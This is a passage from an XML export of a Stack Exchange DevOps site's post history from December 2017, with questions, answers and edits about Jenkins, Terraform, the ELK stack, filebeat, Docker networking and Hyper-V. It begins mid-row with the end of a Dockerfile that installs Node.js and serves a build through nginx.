https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.gz \&#xD;&#xA;        | tar --strip-components=1 -xzf - -C /usr/local&#xD;&#xA;    &#xD;&#xA;    # https://stackoverflow.com/a/35774741/1258525&#xD;&#xA;    # use changes to package.json to force Docker not to use the cache&#xD;&#xA;    # when we change our application's nodejs dependencies:&#xD;&#xA;    COPY ./package.json /tmp/package.json&#xD;&#xA;    RUN cd /tmp &amp;&amp; npm install&#xD;&#xA;    RUN mkdir /app &amp;&amp; cp -a /tmp/node_modules /app/&#xD;&#xA;     &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY . /app&#xD;&#xA;     &#xD;&#xA;    RUN npm run build-$ENVIRONMENT&#xD;&#xA;     &#xD;&#xA;    RUN cd /app &amp;&amp; cp -a dist/* /usr/share/nginx/html&#xD;&#xA;    COPY ./docker/conf/frontend.conf /etc/nginx/conf.d/frontend.conf&#xD;&#xA;    COPY ./docker/conf/nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;     &#xD;&#xA;     &#xD;&#xA;    EXPOSE 80&#xD;&#xA;     &#xD;&#xA;    CMD [&quot;nginx&quot;]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9167" PostHistoryTypeId="2" PostId="2938" RevisionGUID="22125e12-13ac-4030-ae9e-64c5376e669a" CreationDate="2017-12-21T06:44:19.340" UserId="4175" Text="The quote is misleading since there is not &quot;a&quot; chef in the kitchen. There are many different chefs, i.e. pantry chef, soup chef, fish chef etc. (Wikipedia lists many others).&#xD;&#xA;&#xD;&#xA;What the quote is thinking of is the &quot;chef de cuisine&quot;, which is the overall manager of the kitchen, the CEO if you will. There is also the whole executive hierarchy we know from our IT companies, e.g. sous-chef (second in command), commis chefs (department manager) etc.&#xD;&#xA;&#xD;&#xA;So, your fullstack dev is first and foremost a someone who can cook well. But even if you cook the greatest delicacies, that does not make you a good manager. On the contrary, there are people who are actually *trained* to be managers/leaders. The skillset, and daily work, of managing the logistics of a large kitchen is vastly different from the cooking itself.&#xD;&#xA;&#xD;&#xA;And finally, remember that in IT, &quot;Agile&quot; is all about *removing* leadership from the immediate development process and placing leadership where it can do good: enabling the devs to do their work. For that, they do not need to know that much about software development, or be a great dev themselves." ContentLicense="CC BY-SA 3.0" />
  <row Id="9168" PostHistoryTypeId="5" PostId="2938" RevisionGUID="52db779a-adf8-4d4c-b9fb-ae9d3020eb58" CreationDate="2017-12-21T06:59:15.723" UserId="4175" Comment="deleted 2 characters in body" Text="The quote is misleading since there is not &quot;a&quot; chef in the kitchen. There are many different chefs, i.e. pantry chef, soup chef, fish chef etc. Wikipedia lists many others.&#xD;&#xA;&#xD;&#xA;What the quote is thinking of is the &quot;chef de cuisine&quot;, which is the overall manager of the kitchen, the CEO if you will. There is also the whole executive hierarchy we know from our IT companies, e.g. sous-chef (second in command), commis chefs (department manager) etc.&#xD;&#xA;&#xD;&#xA;So, your fullstack dev is first and foremost a someone who can cook well. But even if you cook the greatest delicacies, that does not make you a good manager. On the contrary, there are people who are actually *trained* to be managers/leaders. The skillset, and daily work, of managing the logistics of a large kitchen is vastly different from the cooking itself.&#xD;&#xA;&#xD;&#xA;Instead, a fullstack dev specializing in AWS, Azure, CI/CD, &quot;xxx as code&quot; or any of the other tools that we associate with DevOps, would be comparable to a soup chef specializing in soup or a fish chef specializing in fish (with no managerial tasks attached to the job description).&#xD;&#xA;&#xD;&#xA;And finally, remember that in IT, &quot;Agile&quot; is all about *removing* leadership from the immediate development process and placing leadership where it can do good: enabling the devs to do their work. For that, they do not need to know that much about software development, or be a great dev themselves." ContentLicense="CC BY-SA 3.0" />
  <row Id="9169" PostHistoryTypeId="2" PostId="2939" RevisionGUID="97921469-7878-4035-9756-7c828aa9d888" CreationDate="2017-12-21T07:09:04.290" UserId="4023" Text="I heavily use [ECS Attributes][1] on our containerized infrastructure. I couldn't find terraform docs to achieve this. Do I need to execute aws cli commands manually to apply those attributes after creating the infrastructure? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/cli/latest/reference/ecs/put-attributes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9170" PostHistoryTypeId="1" PostId="2939" RevisionGUID="97921469-7878-4035-9756-7c828aa9d888" CreationDate="2017-12-21T07:09:04.290" UserId="4023" Text="How to add ECS attributes using terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="9171" PostHistoryTypeId="3" PostId="2939" RevisionGUID="97921469-7878-4035-9756-7c828aa9d888" CreationDate="2017-12-21T07:09:04.290" UserId="4023" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9172" PostHistoryTypeId="2" PostId="2940" RevisionGUID="01b25c67-19be-424c-8e9c-216fd171c742" CreationDate="2017-12-21T07:36:36.757" UserId="887" Text="*&quot;This is great, but I want to run a command/script when a branch is removed, how can I have jenkins run a command when a branch is removed?&quot;*&#xD;&#xA;&#xD;&#xA;&gt; You will need to use a **webhook** for this, I use the following&#xD;&#xA;&gt; settings in Github:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&gt; **Bitbucket** only supports the following webhooks:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; *&quot;Is there a way to have Jenkins trigger a job before it removes the branch?&quot;*&#xD;&#xA;&#xD;&#xA;&gt; Not that I can see, but in Github you can create a custom label and&#xD;&#xA;&gt; trigger a job via a webhook when the label is added to a branch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/YKD6T.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/c1nAi.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9173" PostHistoryTypeId="4" PostId="2939" RevisionGUID="5914cac2-2f4c-419b-b488-a7e1af09b2e8" CreationDate="2017-12-21T08:35:25.670" UserId="4023" Comment="Make title more meaningful" Text="How to add ECS attributes to an instance using terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="9174" PostHistoryTypeId="2" PostId="2941" RevisionGUID="a9d9fdb0-e7f9-41d3-87be-d25da9d3163e" CreationDate="2017-12-21T10:31:25.783" UserId="10" Text="Our team has two separate repositories for a frontend/backend system.  They would like to have these two repositories deployed to the shared team environment together.  &#xD;&#xA;&#xD;&#xA;My understanding of the JenkinsFile is that it will only work on the repository it committed to and only run when the SCM system sends a request to Jenkins informing it of new changes.  &#xD;&#xA;&#xD;&#xA;Is it possible to have the JenkinsFile in the two separate repositories communicate with each other so that when one is built the other is built as well and only after both are built, they will then be deployed?&#xD;&#xA;&#xD;&#xA;My main goal here is to avoid creating a separate Jenkins job within the Jenkins UI." ContentLicense="CC BY-SA 3.0" />
  <row Id="9175" PostHistoryTypeId="1" PostId="2941" RevisionGUID="a9d9fdb0-e7f9-41d3-87be-d25da9d3163e" CreationDate="2017-12-21T10:31:25.783" UserId="10" Text="Is it possible to use a JenkinsFile in one repo to build and deploy a related repo?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9176" PostHistoryTypeId="3" PostId="2941" RevisionGUID="a9d9fdb0-e7f9-41d3-87be-d25da9d3163e" CreationDate="2017-12-21T10:31:25.783" UserId="10" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9178" PostHistoryTypeId="2" PostId="2943" RevisionGUID="d2971357-022f-4f6b-ad73-5e419d2e6677" CreationDate="2017-12-21T12:41:35.147" UserId="4998" Text="Does ELK stack provide  micro service and network latency monitoring in kibana?&#xD;&#xA;&#xD;&#xA;[Zipkin][1] provides details bout service request and response service duration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://zipkin.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9179" PostHistoryTypeId="1" PostId="2943" RevisionGUID="d2971357-022f-4f6b-ad73-5e419d2e6677" CreationDate="2017-12-21T12:41:35.147" UserId="4998" Text="ELK - micro service and network latency monitoring" ContentLicense="CC BY-SA 3.0" />
  <row Id="9180" PostHistoryTypeId="3" PostId="2943" RevisionGUID="d2971357-022f-4f6b-ad73-5e419d2e6677" CreationDate="2017-12-21T12:41:35.147" UserId="4998" Text="&lt;network-monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9181" PostHistoryTypeId="5" PostId="2943" RevisionGUID="4c87a459-6696-4da5-94ad-3f1a921a4915" CreationDate="2017-12-21T12:52:40.060" UserId="4998" Comment="edited body" Text="Does ELK stack provide  micro service and network latency monitoring in kibana?&#xD;&#xA;&#xD;&#xA;[Zipkin][1] provides details bout service request and service response duration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://zipkin.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9182" PostHistoryTypeId="2" PostId="2944" RevisionGUID="7a2c47ca-51e0-4a2b-8b6d-a156e479edbb" CreationDate="2017-12-21T14:24:33.660" UserId="5818" Text="I have installed ElasticSearch, LogStash and Kibana on my master server following the articles:&#xD;&#xA;https://www.howtoforge.com/tutorial/how-to-install-elastic-stack-on-centos-7/&#xD;&#xA;https://www.digitalocean.com/community/tutorials/how-to-install-elasticsearch-logstash-and-kibana-elk-stack-on-centos-7&#xD;&#xA;&#xD;&#xA;And on the slave server I installed filebeat, now I am trying to configure apache2 module so I can load my apache/tomcat logs following https://www.elastic.co/guide/en/beats/filebeat/5.3/filebeat-modules-quickstart.html as pre-req I installed ingest-geoip/user-agent on the master server. When I look for modules folder under filebeat installation on the slave I cant find it. When I run the command it just hangs and nothing is showing up even in logs. How can I install the module or how I can get apache logs so it is showing on my Kibana install. &#xD;&#xA;&#xD;&#xA;I tried to look for modules.d specified here also nothing is there under filesbeats install:&#xD;&#xA;&#xD;&#xA;https://www.elastic.co/guide/en/beats/filebeat/master/configuration-filebeat-modules.html&#xD;&#xA;&#xD;&#xA;Folder structure:&#xD;&#xA;&#xD;&#xA;/etc/filebeat&#xD;&#xA;&#xD;&#xA;  3527 Dec 20 16:11 filebeat.yml&#xD;&#xA;&#xD;&#xA;ls -tl /usr/share/filebeat/&#xD;&#xA;&#xD;&#xA;total 12&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 3 root root 4096 Dec 20 15:37 bin&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 2 root root 4096 Dec 20 15:15 scripts&#xD;&#xA;&#xD;&#xA;-rw-r--r--. 1 root root  811 Dec  6  2016 README.md&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ls -tl&#xD;&#xA;&#xD;&#xA;total 12&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 3 root root 4096 Dec 20 15:37 bin&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 2 root root 4096 Dec 20 15:15 scripts&#xD;&#xA;&#xD;&#xA;-rw-r--r--. 1 root root  811 Dec  6  2016 README.md&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ls -tl bin&#xD;&#xA;&#xD;&#xA;total 15720&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 2 root root     4096 Dec 20 15:37 data&#xD;&#xA;&#xD;&#xA;-rwxr-xr-x. 1 root root 14908662 Dec  6  2016 filebeat&#xD;&#xA;&#xD;&#xA;-rwxr-xr-x. 1 root root  1179764 Dec  6  2016 filebeat-god&#xD;&#xA;&#xD;&#xA; ls -tl bin/data&#xD;&#xA;&#xD;&#xA;total 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ls -tl scripts/&#xD;&#xA;&#xD;&#xA;total 11988&#xD;&#xA;&#xD;&#xA;-rwxr-xr-x. 1 root root 12257380 Dec  6  2016 import_dashboards&#xD;&#xA;&#xD;&#xA;-rwxr-xr-x. 1 root root    14397 Dec  6  2016 migrate_beat_config_1_x_to_5_0.py&#xD;&#xA;&#xD;&#xA;Any idea how to fix this? Thanks. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9183" PostHistoryTypeId="1" PostId="2944" RevisionGUID="7a2c47ca-51e0-4a2b-8b6d-a156e479edbb" CreationDate="2017-12-21T14:24:33.660" UserId="5818" Text="Where is the modules folder under filebeat to configure as a slave?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9184" PostHistoryTypeId="3" PostId="2944" RevisionGUID="7a2c47ca-51e0-4a2b-8b6d-a156e479edbb" CreationDate="2017-12-21T14:24:33.660" UserId="5818" Text="&lt;logstash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9185" PostHistoryTypeId="2" PostId="2945" RevisionGUID="45accdc7-7e06-43c9-8baf-f8502fda89d6" CreationDate="2017-12-21T20:49:16.177" UserId="445" Text="You can use Seed Jobs to accomplish this. Seed Jobs (which are actually freestyle jobs) are included in the [Job-DSL Plugin][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Job+DSL+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="9191" PostHistoryTypeId="5" PostId="2943" RevisionGUID="87bb4db6-f8b5-4d52-a719-79172956aedb" CreationDate="2017-12-22T06:20:19.493" UserId="4998" Comment="added 1 character in body" Text="Does ELK stack provide  micro service and network latency monitoring in kibana?&#xD;&#xA;&#xD;&#xA;[Zipkin][1] provides details about service request and service response duration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://zipkin.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9192" PostHistoryTypeId="2" PostId="2946" RevisionGUID="49be4436-f510-4aca-bf3c-7722e81e0bec" CreationDate="2017-12-22T06:54:23.640" UserId="210" Text="I do not understand why a docker container should perform the checkout as this could be done using Jenkins.&#xD;&#xA;&#xD;&#xA;One of the advantages of docker is that it is immutable, but the way you use it right now is mutable." ContentLicense="CC BY-SA 3.0" />
  <row Id="9193" PostHistoryTypeId="5" PostId="2943" RevisionGUID="9fb90ce3-7c97-4c75-8204-0baf1b2eaa4c" CreationDate="2017-12-22T07:01:23.363" UserId="4998" Comment="added 137 characters in body" Text="Does ELK stack provide  micro service and network latency monitoring in kibana?&#xD;&#xA;&#xD;&#xA;[Zipkin][1] provides details about service request and service response duration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://zipkin.io/&#xD;&#xA;&#xD;&#xA;In behind ELS stack should trace span events:&#xD;&#xA;&#xD;&#xA;cs - Client Sent&#xD;&#xA;&#xD;&#xA;sr - Server Received&#xD;&#xA;&#xD;&#xA;ss - Server Sent&#xD;&#xA;&#xD;&#xA;cr - Client Received" ContentLicense="CC BY-SA 3.0" />
  <row Id="9194" PostHistoryTypeId="2" PostId="2947" RevisionGUID="1bed3d59-db29-43ee-9570-f908f3b44cf9" CreationDate="2017-12-22T07:36:13.280" UserId="4123" Text="I have a docker container 'A' on a host 10.11.12.13 listening on port 0.0.0.0:8443-&gt;8443/tcp I have another container 'B' on same host how wants to talk to 'A' on 8443 via host. Thus when I run command curl https://10.11.12.13:8443 inside B it gives me error as 'No route to host' but I can ping 10.11.12.13 successfully. I am not sure what else I am missing?&#xD;&#xA;&#xD;&#xA;Can someone help regarding the issue?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9195" PostHistoryTypeId="1" PostId="2947" RevisionGUID="1bed3d59-db29-43ee-9570-f908f3b44cf9" CreationDate="2017-12-22T07:36:13.280" UserId="4123" Text="Networking between Docker containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="9196" PostHistoryTypeId="3" PostId="2947" RevisionGUID="1bed3d59-db29-43ee-9570-f908f3b44cf9" CreationDate="2017-12-22T07:36:13.280" UserId="4123" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9197" PostHistoryTypeId="2" PostId="2948" RevisionGUID="990ad783-1384-43ae-9a74-394c9cf98130" CreationDate="2017-12-22T08:53:14.210" UserId="13" Text="Confirmed by [this answer on SO](https://stackoverflow.com/a/38111013/3627607) referencing  [Microsoft technet](https://social.technet.microsoft.com/Forums/windows/en-US/118561b9-7155-46e3-a874-6a38b35c67fd/hyperv-disables-vtx-for-other-hypervisors?forum=w8itprogeneral) once Hyper-V is activated it mask the VT-X instructions of the processor to the OS on top of it and windows run like a guest.&#xD;&#xA;&#xD;&#xA;Docker for Windows need hyper-V to work, so disabling it is not really an option.&#xD;&#xA;&#xD;&#xA;There's no way to have virtual box running on top of Hyper-V and that's quite normal, you should not run an hypervisor within an hypervisor, they'll fight to orchestrate hardware acces.&#xD;&#xA;&#xD;&#xA;The best workaround in my opinion is to create hyper-V virtual machine from vagrant with the [hyper-V provider](https://www.vagrantup.com/docs/hyperv/) instead of virtual box machines, this way you can create VM or container on the same session.&#xD;&#xA;&#xD;&#xA;Side note, vagrant already have a note about this in the hyper-v provider documentation page (found while searching the link to add above):&#xD;&#xA;&#xD;&#xA;&gt; **Warning**: Enabling Hyper-V will cause VirtualBox, VMware, and any other virtualization technology to no longer work. See [this blog post][1] for an easy way to create a boot entry to boot Windows without Hyper-V enabled, if there will be times you will need other hypervisors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hanselman.com/blog/SwitchEasilyBetweenVirtualBoxAndHyperVWithABCDEditBootEntryInWindows81.aspx" ContentLicense="CC BY-SA 3.0" />
  <row Id="9198" PostHistoryTypeId="5" PostId="2944" RevisionGUID="8b17f178-fb8f-44ee-985a-d56cccc019e6" CreationDate="2017-12-22T08:53:41.817" UserId="460" Comment="improved post layout, added configuration and filebeat tags" Text="I have installed ElasticSearch, LogStash and Kibana on my master server following the articles:&#xD;&#xA;&#xD;&#xA;- https://www.howtoforge.com/tutorial/how-to-install-elastic-stack-on-centos-7/&#xD;&#xA;- https://www.digitalocean.com/community/tutorials/how-to-install-elasticsearch-logstash-and-kibana-elk-stack-on-centos-7&#xD;&#xA;&#xD;&#xA;And on the slave server I installed filebeat, now I am trying to configure apache2 module so I can load my apache/tomcat logs following https://www.elastic.co/guide/en/beats/filebeat/5.3/filebeat-modules-quickstart.html as pre-req I installed ingest-geoip/user-agent on the master server. When I look for modules folder under filebeat installation on the slave I can't find it. When I run the command it just hangs and nothing is showing up even in logs. How can I install the module or how I can get apache logs so it is showing on my Kibana install. &#xD;&#xA;&#xD;&#xA;I tried to look for modules.d specified here also nothing is there under filesbeats install:&#xD;&#xA;&#xD;&#xA;https://www.elastic.co/guide/en/beats/filebeat/master/configuration-filebeat-modules.html&#xD;&#xA;&#xD;&#xA;Folder structure:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;/etc/filebeat&#xD;&#xA;&#xD;&#xA;  3527 Dec 20 16:11 filebeat.yml&#xD;&#xA;&#xD;&#xA;ls -tl /usr/share/filebeat/&#xD;&#xA;&#xD;&#xA;total 12&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 3 root root 4096 Dec 20 15:37 bin&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 2 root root 4096 Dec 20 15:15 scripts&#xD;&#xA;&#xD;&#xA;-rw-r--r--. 1 root root  811 Dec  6  2016 README.md&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ls -tl&#xD;&#xA;&#xD;&#xA;total 12&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 3 root root 4096 Dec 20 15:37 bin&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 2 root root 4096 Dec 20 15:15 scripts&#xD;&#xA;&#xD;&#xA;-rw-r--r--. 1 root root  811 Dec  6  2016 README.md&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ls -tl bin&#xD;&#xA;&#xD;&#xA;total 15720&#xD;&#xA;&#xD;&#xA;drwxr-xr-x. 2 root root     4096 Dec 20 15:37 data&#xD;&#xA;&#xD;&#xA;-rwxr-xr-x. 1 root root 14908662 Dec  6  2016 filebeat&#xD;&#xA;&#xD;&#xA;-rwxr-xr-x. 1 root root  1179764 Dec  6  2016 filebeat-god&#xD;&#xA;&#xD;&#xA; ls -tl bin/data&#xD;&#xA;&#xD;&#xA;total 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ls -tl scripts/&#xD;&#xA;&#xD;&#xA;total 11988&#xD;&#xA;&#xD;&#xA;-rwxr-xr-x. 1 root root 12257380 Dec  6  2016 import_dashboards&#xD;&#xA;&#xD;&#xA;-rwxr-xr-x. 1 root root    14397 Dec  6  2016 migrate_beat_config_1_x_to_5_0.py&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;Any idea how to fix this? Thanks. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9199" PostHistoryTypeId="6" PostId="2944" RevisionGUID="8b17f178-fb8f-44ee-985a-d56cccc019e6" CreationDate="2017-12-22T08:53:41.817" UserId="460" Comment="improved post layout, added configuration and filebeat tags" Text="&lt;configuration&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9200" PostHistoryTypeId="24" PostId="2944" RevisionGUID="8b17f178-fb8f-44ee-985a-d56cccc019e6" CreationDate="2017-12-22T08:53:41.817" Comment="Proposed by 460 approved by 40, 13 edit id of 573" ContentLicense="CC BY-SA 3.0" />
  <row Id="9201" PostHistoryTypeId="5" PostId="2617" RevisionGUID="cbc675e7-3744-443e-b05e-9677f73feb9e" CreationDate="2017-12-22T08:54:12.670" UserId="60" Comment="Improved list formatting" Text="1. Deployment frequency  &#xD;&#xA;2. Speed of deployment                                                     &#xD;&#xA;3. Deployment success rate              &#xD;&#xA;4. How quickly service can be restored after a failed deployment  &#xD;&#xA;    And finally,   &#xD;&#xA;5. DevOps Culture, which actually can’t be measured" ContentLicense="CC BY-SA 3.0" />
  <row Id="9202" PostHistoryTypeId="24" PostId="2617" RevisionGUID="cbc675e7-3744-443e-b05e-9677f73feb9e" CreationDate="2017-12-22T08:54:12.670" Comment="Proposed by 60 approved by 40, 13 edit id of 571" ContentLicense="CC BY-SA 3.0" />
  <row Id="9204" PostHistoryTypeId="2" PostId="2949" RevisionGUID="b84a14be-fc43-41d3-ad16-84ae6808a854" CreationDate="2017-12-22T10:19:12.507" UserId="4501" Text="@sith &#xD;&#xA;&#xD;&#xA;In Terraform, **value_specs** are a way of injecting extra key/value pairs into the create request to help with random vendor-specific data. Anyhow this is a workaround option and also it works well with OpenStack provider but I haven't tried with AWS. Could you please try this approach and post your comments. &#xD;&#xA;&#xD;&#xA;    value_specs {   &#xD;&#xA;          Attrkey = AttrValue &#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="9205" PostHistoryTypeId="5" PostId="2949" RevisionGUID="852a9876-34bf-4bcf-8123-9b5c1975732d" CreationDate="2017-12-22T10:21:29.120" UserId="13" Comment="deleted 10 characters in body" Text="In Terraform, **value_specs** are a way of injecting extra key/value pairs into the create request to help with random vendor-specific data. Anyhow this is a workaround option and also it works well with OpenStack provider but I haven't tried with AWS. Could you please try this approach and post your comments. &#xD;&#xA;&#xD;&#xA;    value_specs {   &#xD;&#xA;          Attrkey = AttrValue &#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="9208" PostHistoryTypeId="10" PostId="2559" RevisionGUID="a6d4ca7b-7b59-4fd4-821c-de80bba08ab8" CreationDate="2017-12-22T11:02:31.083" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="9216" PostHistoryTypeId="2" PostId="2951" RevisionGUID="363e751c-4d77-49d4-90c1-202f9832d958" CreationDate="2017-12-22T15:51:32.100" UserId="3920" Text="Is it possible to move the &quot;All&quot; Jenkins tab from the main view all the way right? It's just my browsing preference to see it at the end to not obstruct my always specific habit of using views. In other words, I would like my first view to be what I see at the beginning on the left." ContentLicense="CC BY-SA 3.0" />
  <row Id="9217" PostHistoryTypeId="1" PostId="2951" RevisionGUID="363e751c-4d77-49d4-90c1-202f9832d958" CreationDate="2017-12-22T15:51:32.100" UserId="3920" Text="Moving &quot;All&quot; tab in Jenkins right" ContentLicense="CC BY-SA 3.0" />
  <row Id="9218" PostHistoryTypeId="3" PostId="2951" RevisionGUID="363e751c-4d77-49d4-90c1-202f9832d958" CreationDate="2017-12-22T15:51:32.100" UserId="3920" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9219" PostHistoryTypeId="2" PostId="2952" RevisionGUID="60e6bb46-9ce2-4be2-a3ff-73ed6f08bd46" CreationDate="2017-12-22T18:33:22.840" UserId="2845" Text="ELK stack does not provide monitoring. It only provides reporting unless you configure additional add-ons such as [ElastAlert](http://elastalert.readthedocs.io/en/latest/elastalert.html).&#xD;&#xA;&#xD;&#xA;ELK also only reports (or alerts if configured) on the data that you feed into it. So to turn the question around: &#xD;&#xA;&#xD;&#xA;&gt;Do you have your network devices configured to send micro service and network latency logging information to your ELK stack? &#xD;&#xA;&#xD;&#xA;If yes, then the answer will be yes. If no, then the answer will be no. &#xD;&#xA;&#xD;&#xA;ELK is nothing more than a system for processing and reporting metadata and generating structured data from plaintext logs, so it will do whatever you configure it to do." ContentLicense="CC BY-SA 3.0" />
  <row Id="9220" PostHistoryTypeId="4" PostId="2951" RevisionGUID="4e6a3a21-8823-4b1c-9ec8-cdc4e4dfe8f5" CreationDate="2017-12-22T21:14:25.957" UserId="210" Comment="edited title" Text="How to move the &quot;All&quot; tab to the right?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9221" PostHistoryTypeId="2" PostId="2953" RevisionGUID="9649d217-623f-47e7-94ac-e15b28f867f5" CreationDate="2017-12-22T21:35:52.647" UserId="210" Text="One option is to add a new view, remove the All view, create a new view, select  &quot;All&quot; and let it start with &quot;z&quot;, e.g. &quot;z-all&quot; as the view is sorted alphabetically." ContentLicense="CC BY-SA 3.0" />
  <row Id="9222" PostHistoryTypeId="4" PostId="2951" RevisionGUID="578160c2-43d2-418b-8658-2057c8663c79" CreationDate="2017-12-22T21:36:42.920" UserId="210" Comment="edited title" Text="How to move the &quot;All&quot; tab to the right in Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9223" PostHistoryTypeId="5" PostId="2953" RevisionGUID="1f2be5f4-c43b-4ac1-bac6-9999e6afa59c" CreationDate="2017-12-22T21:51:37.347" UserId="210" Comment="added 239 characters in body" Text="One option is to add a new view, remove the All view, create a new view, select  &quot;All&quot; and let it start with &quot;z&quot;, e.g. &quot;z-all&quot; as the view is sorted alphabetically.&#xD;&#xA;&#xD;&#xA;There is [an open issue][1] that indicates that the ordering of tabs in Jenkins is alphabetically sorted and cannot be changed at the moment, e.g. change the order manually.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-4242" ContentLicense="CC BY-SA 3.0" />
  <row Id="9224" PostHistoryTypeId="5" PostId="2953" RevisionGUID="fe39efa7-0713-474a-a803-6f01cac3fe7f" CreationDate="2017-12-22T22:03:53.120" UserId="210" Comment="added 2 characters in body" Text="One option is to add a new view, remove the &quot;All&quot; view, create a new view, select  &quot;All&quot; and let it start with &quot;z&quot;, e.g. &quot;z-all&quot; as the view is sorted alphabetically.&#xD;&#xA;&#xD;&#xA;There is [an open issue][1] that indicates that the ordering of tabs in Jenkins is alphabetically sorted and cannot be changed at the moment, e.g. change the order manually.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-4242" ContentLicense="CC BY-SA 3.0" />
  <row Id="9226" PostHistoryTypeId="50" PostId="1592" RevisionGUID="c2ad77c3-6c31-4b72-8c13-8411d36cabfd" CreationDate="2017-12-24T10:20:15.540" UserId="-1" />
  <row Id="9229" PostHistoryTypeId="2" PostId="2954" RevisionGUID="5c0776b5-3403-4588-a415-a3a8445d1a08" CreationDate="2017-12-24T14:46:16.980" UserId="4175" Text="Yes, you are doing the correct approach. Or rather, &quot;a&quot; correct approach, in your specific circumstance.&#xD;&#xA;&#xD;&#xA;You are proposing to build the image beforehand (not as part of each individual Jenkins job). Then your Jenkins job will consist of running the image; and in that ephemeral state (i.e., inside the *container*) you are checking out the test script (which, I assume, changes frequently) and running it.&#xD;&#xA;&#xD;&#xA;The benefit you are getting from this is that your test environment (aside from the actual testing code) is well defined, so you can run it on any/many Jenkins node you have available. By not creating new images whenever your code changes, you avoid creating and distributing new images for every job.&#xD;&#xA;&#xD;&#xA;&gt; I do not need any product code, my scripts is all that is required&#xD;&#xA;&#xD;&#xA;So you would never actually *deploy* those images anyways - hence it is perfectly fine to not build them each time. You still should be automatically building your images - no matter if you do it as part of the actual job, or as a separate job which only does it when the Dockerfile (and whichever files it pulls in with `ADD` / `COPY`) changes. Not for technical reasons, but to avoid a manual step.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
